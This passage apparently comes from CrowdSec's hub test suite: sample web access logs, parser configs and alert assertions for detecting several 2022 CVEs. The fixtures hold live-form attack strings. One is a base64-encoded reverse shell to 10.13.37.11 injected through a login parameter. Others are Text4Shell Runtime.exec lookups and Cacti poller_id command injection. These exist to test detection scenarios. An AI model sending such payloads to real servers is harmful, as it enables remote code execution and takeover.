"127.0.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" results[0].Overflow.Sources["127.0.0.1"].Range == "" results[0].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "CVE-2022-40684.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/api/v2/cmdb/system/admin/hes" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Report Runner" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "PUT" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-10-14T09:55:53+02:00" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/fortinet-cve-2022-40684" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1hub1/.tests/CVE-2022-41697/000077500000000000000000000000001437532772500146445ustar00rootroot00000000000000hub1/.tests/CVE-2022-41697/CVE-2022-41697.log000066400000000000000000000022351437532772500170410ustar00rootroot000000000000001.2.3.5 - - [17/Oct/2022:14:14:21 +0000] "POST /ghost/api/admin/session HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.5 - - [17/Oct/2022:14:14:21 +0000] "POST /ghost/api/admin/session HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.5 - - [17/Oct/2022:14:14:21 +0000] "POST /ghost/api/admin/session HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.5 - - [17/Oct/2022:14:14:21 +0000] "POST /ghost/api/admin/session HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.5 - - [17/Oct/2022:14:14:21 +0000] "POST /ghost/api/admin/session HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.5 - - [17/Oct/2022:14:14:21 +0000] "POST /ghost/api/admin/session HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36"hub1/.tests/CVE-2022-41697/config.yaml000066400000000000000000000003711437532772500167760ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/nginx-logs.yaml scenarios: - "./scenarios/crowdsecurity/CVE-2022-41697.yaml" log_file: CVE-2022-41697.log log_type: nginx ignore_parsers: true hub1/.tests/CVE-2022-41697/parser.assert000066400000000000000000000000001437532772500173510ustar00rootroot00000000000000hub1/.tests/CVE-2022-41697/scenario.assert000066400000000000000000000126371437532772500177030ustar00rootroot00000000000000len(results) == 1 "1.2.3.5" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.5"].IP == "1.2.3.5" results[0].Overflow.Sources["1.2.3.5"].Range == "" results[0].Overflow.Sources["1.2.3.5"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.5"].GetValue() == "1.2.3.5" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "CVE-2022-41697.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/ghost/api/admin/session" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "CVE-2022-41697.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/ghost/api/admin/session" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[0].Overflow.Alert.Events[1].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "CVE-2022-41697.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/ghost/api/admin/session" results[0].Overflow.Alert.Events[2].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[2].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[0].Overflow.Alert.Events[2].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "CVE-2022-41697.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/ghost/api/admin/session" results[0].Overflow.Alert.Events[3].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[3].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[0].Overflow.Alert.Events[3].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "CVE-2022-41697.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("http_path") == "/ghost/api/admin/session" results[0].Overflow.Alert.Events[4].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[4].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[0].Overflow.Alert.Events[4].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "CVE-2022-41697.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("http_path") == "/ghost/api/admin/session" results[0].Overflow.Alert.Events[5].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[5].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[0].Overflow.Alert.Events[5].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[5].GetMeta("service") == "http" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2022-41697" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/CVE-2022-42889/000077500000000000000000000000001437532772500146505ustar00rootroot00000000000000hub1/.tests/CVE-2022-42889/CVE-2022-42889.log000066400000000000000000000017421437532772500170530ustar00rootroot000000000000001.2.3.5 - - [17/Oct/2022:14:14:21 +0000] "GET /?search=%24%7Burl%3AUTF-8%3Ahttps%3A%2F%2Fwww.google.com%2F%7D HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.6 - - [17/Oct/2022:14:14:21 +0000] "GET /?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27mkdir%20poc%27%29%7D HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.7 - - [17/Oct/2022:14:14:21 +0000] "GET /?search=%24%7Bscript%3Ajs%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27mkdir%20poc%27%29%7D HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.8 - - [17/Oct/2022:14:14:21 +0000] "GET /?search=%24%7Bdns%3Aaddress%7Cwww.google.com%7D HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36"hub1/.tests/CVE-2022-42889/config.yaml000066400000000000000000000003751437532772500170060ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/apache2-logs.yaml scenarios: - "./scenarios/crowdsecurity/CVE-2022-42889.yaml" log_file: CVE-2022-42889.log log_type: apache2 ignore_parsers: true hub1/.tests/CVE-2022-42889/parser.assert000066400000000000000000000000001437532772500173550ustar00rootroot00000000000000hub1/.tests/CVE-2022-42889/scenario.assert000066400000000000000000000123751437532772500177060ustar00rootroot00000000000000len(results) == 4 "1.2.3.8" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.8"].IP == "1.2.3.8" results[0].Overflow.Sources["1.2.3.8"].Range == "" results[0].Overflow.Sources["1.2.3.8"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.8"].GetValue() == "1.2.3.8" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "CVE-2022-42889.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/?search=%24%7Bdns%3Aaddress%7Cwww.google.com%7D" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.8" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2022-42889" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "1.2.3.7" in results[1].Overflow.GetSources() results[1].Overflow.Sources["1.2.3.7"].IP == "1.2.3.7" results[1].Overflow.Sources["1.2.3.7"].Range == "" results[1].Overflow.Sources["1.2.3.7"].GetScope() == "Ip" results[1].Overflow.Sources["1.2.3.7"].GetValue() == "1.2.3.7" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "CVE-2022-42889.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/?search=%24%7Bscript%3Ajs%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27mkdir%20poc%27%29%7D" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.7" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2022-42889" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1 "1.2.3.6" in results[2].Overflow.GetSources() results[2].Overflow.Sources["1.2.3.6"].IP == "1.2.3.6" results[2].Overflow.Sources["1.2.3.6"].Range == "" results[2].Overflow.Sources["1.2.3.6"].GetScope() == "Ip" results[2].Overflow.Sources["1.2.3.6"].GetValue() == "1.2.3.6" results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "CVE-2022-42889.log" results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[0].GetMeta("http_path") == "/?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27mkdir%20poc%27%29%7D" results[2].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[2].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[2].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[2].Overflow.Alert.Events[0].GetMeta("service") == "http" results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.6" results[2].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[2].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2022-42889" results[2].Overflow.Alert.Remediation == true results[2].Overflow.Alert.GetEventsCount() == 1 "1.2.3.5" in results[3].Overflow.GetSources() results[3].Overflow.Sources["1.2.3.5"].IP == "1.2.3.5" results[3].Overflow.Sources["1.2.3.5"].Range == "" results[3].Overflow.Sources["1.2.3.5"].GetScope() == "Ip" results[3].Overflow.Sources["1.2.3.5"].GetValue() == "1.2.3.5" results[3].Overflow.Alert.Events[0].GetMeta("datasource_path") == "CVE-2022-42889.log" results[3].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[0].GetMeta("http_path") == "/?search=%24%7Burl%3AUTF-8%3Ahttps%3A%2F%2Fwww.google.com%2F%7D" results[3].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[3].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[3].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[3].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[3].Overflow.Alert.Events[0].GetMeta("service") == "http" results[3].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.5" results[3].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[3].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2022-42889" results[3].Overflow.Alert.Remediation == true results[3].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/CVE-2022-44877/000077500000000000000000000000001437532772500146475ustar00rootroot00000000000000hub1/.tests/CVE-2022-44877/CVE-2022-44877.log000066400000000000000000000013361437532772500170500ustar00rootroot000000000000001.2.3.4 - - [17/Oct/2022:14:14:21 +0000] "POST /index.php?login=valid HTTP/1.1" 302 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.4 - - [17/Oct/2022:14:14:21 +0000] "POST /index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash) HTTP/1.1" 302 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" hub1/.tests/CVE-2022-44877/config.yaml000066400000000000000000000003761437532772500170060ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/apache2-logs - crowdsecurity/http-logs scenarios: - "./scenarios/crowdsecurity/CVE-2022-44877.yaml" log_file: CVE-2022-44877.log log_type: apache2 ignore_parsers: true hub1/.tests/CVE-2022-44877/parser.assert000066400000000000000000000000001437532772500173540ustar00rootroot00000000000000hub1/.tests/CVE-2022-44877/scenario.assert000066400000000000000000000032651437532772500177030ustar00rootroot00000000000000len(results) == 1 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "CVE-2022-44877.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_args_len") == "355" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash)" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "302" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2022-44877" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/CVE-2022-46169/000077500000000000000000000000001437532772500146435ustar00rootroot00000000000000hub1/.tests/CVE-2022-46169/CVE-2022-46169.log000066400000000000000000000042201437532772500170330ustar00rootroot000000000000001.2.3.4 - - [17/Oct/2022:14:14:21 +0000] "GET /remote_agent.php?action=polldata&poller_id=1&host_id=1&local_data_ids[]=1 HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.4 - - [17/Oct/2022:14:14:21 +0000] "GET /remote_agent.php?action=polldata&poller_id=1&host_id=1&local_data_ids[]=2 HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.4 - - [17/Oct/2022:14:14:21 +0000] "GET /remote_agent.php?action=polldata&poller_id=1&host_id=1&local_data_ids[]=3 HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.4 - - [17/Oct/2022:14:14:21 +0000] "GET /remote_agent.php?action=polldata&poller_id=1&host_id=1&local_data_ids[]=4 HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.4 - - [17/Oct/2022:14:14:21 +0000] "GET /remote_agent.php?action=polldata&poller_id=1&host_id=1&local_data_ids[]=5 HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.4 - - [17/Oct/2022:14:14:21 +0000] "GET /remote_agent.php?action=polldata&poller_id=1&host_id=1&local_data_ids[]=6 HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.4 - - [17/Oct/2022:14:14:21 +0000] "GET /remote_agent.php?action=polldata&poller_id=1&host_id=1&local_data_ids[]=7 HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.4 - - [17/Oct/2022:14:14:21 +0000] "GET /remote_agent.php?action=polldata&poller_id=;touch%20test.txt& HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" 1.2.3.4 - - [17/Oct/2022:14:14:21 +0000] "GET /remote_agent.php?action=polldata&poller_id=%3btouch%20test.txt& HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" hub1/.tests/CVE-2022-46169/config.yaml000066400000000000000000000003761437532772500170020ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/apache2-logs - crowdsecurity/http-logs scenarios: - "./scenarios/crowdsecurity/CVE-2022-46169.yaml" log_file: CVE-2022-46169.log log_type: apache2 ignore_parsers: true hub1/.tests/CVE-2022-46169/parser.assert000066400000000000000000000000001437532772500173500ustar00rootroot00000000000000hub1/.tests/CVE-2022-46169/scenario.assert000066400000000000000000000167321437532772500177020ustar00rootroot00000000000000len(results) == 2 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "CVE-2022-46169.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_args_len") == "44" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/remote_agent.php?action=polldata&poller_id=;touch%20test.txt&" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2022-46169-cmd" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "1.2.3.4" in results[1].Overflow.GetSources() results[1].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[1].Overflow.Sources["1.2.3.4"].Range == "" results[1].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[1].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "CVE-2022-46169.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_args_len") == "56" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/remote_agent.php?action=polldata&poller_id=1&host_id=1&local_data_ids[]=1" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "CVE-2022-46169.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("http_args_len") == "56" results[1].Overflow.Alert.Events[1].GetMeta("http_path") == "/remote_agent.php?action=polldata&poller_id=1&host_id=1&local_data_ids[]=2" results[1].Overflow.Alert.Events[1].GetMeta("http_status") == "404" results[1].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[1].Overflow.Alert.Events[1].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[1].GetMeta("service") == "http" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "CVE-2022-46169.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("http_args_len") == "56" results[1].Overflow.Alert.Events[2].GetMeta("http_path") == "/remote_agent.php?action=polldata&poller_id=1&host_id=1&local_data_ids[]=3" results[1].Overflow.Alert.Events[2].GetMeta("http_status") == "404" results[1].Overflow.Alert.Events[2].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[1].Overflow.Alert.Events[2].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[2].GetMeta("service") == "http" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "CVE-2022-46169.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("http_args_len") == "56" results[1].Overflow.Alert.Events[3].GetMeta("http_path") == "/remote_agent.php?action=polldata&poller_id=1&host_id=1&local_data_ids[]=4" results[1].Overflow.Alert.Events[3].GetMeta("http_status") == "404" 